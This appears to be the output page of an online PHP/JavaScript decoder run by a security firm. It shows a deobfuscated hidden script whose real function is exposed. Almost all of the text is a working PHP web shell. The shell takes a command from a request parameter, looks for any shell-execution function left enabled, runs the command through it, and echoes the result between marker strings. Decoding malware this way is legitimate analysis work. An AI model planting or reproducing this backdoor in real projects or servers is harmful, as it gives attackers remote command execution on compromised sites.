Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


echo "SADBOYST";
$c=$_REQUEST["c"];
$df=",".ini_get("disable_functions").",";
	if(function_exists("system")&&stripos($df,",system,")===false){
	system($c);
}
	elseif(function_exists("shell_exec")&&stripos($df,",shell_exec,")===false){
	echo shell_exec($c);
}
	elseif(function_exists("passthru")&&stripos($df,",passthru,")===false){
	passthru($c);
}
	elseif(function_exists("exec")&&stripos($df,",exec,")===false){
	$o=[];
	@exec($c,$o);
	echo join("\n",$o);
}
	elseif(function_exists("popen")&&stripos($df,",popen,")===false){
	$p=popen($c,"r");
		if($p){
		echo stream_get_contents($p);
		pclose($p);
	}
}
	elseif(function_exists("proc_open")&&stripos($df,",proc_open,")===false){
	$p=proc_open($c,[1=>["pipe","w"],2=>["pipe","w"]],$io);
		if(is_resource($p)){
		echo stream_get_contents($io[1]).stream_get_contents($io[2]);
		proc_close($p);
	}
}
	else{
	echo "NODF|".ini_get("disable_functions");
}
echo "SADBOYEN";



© 2023 Quttera Ltd. All rights reserved.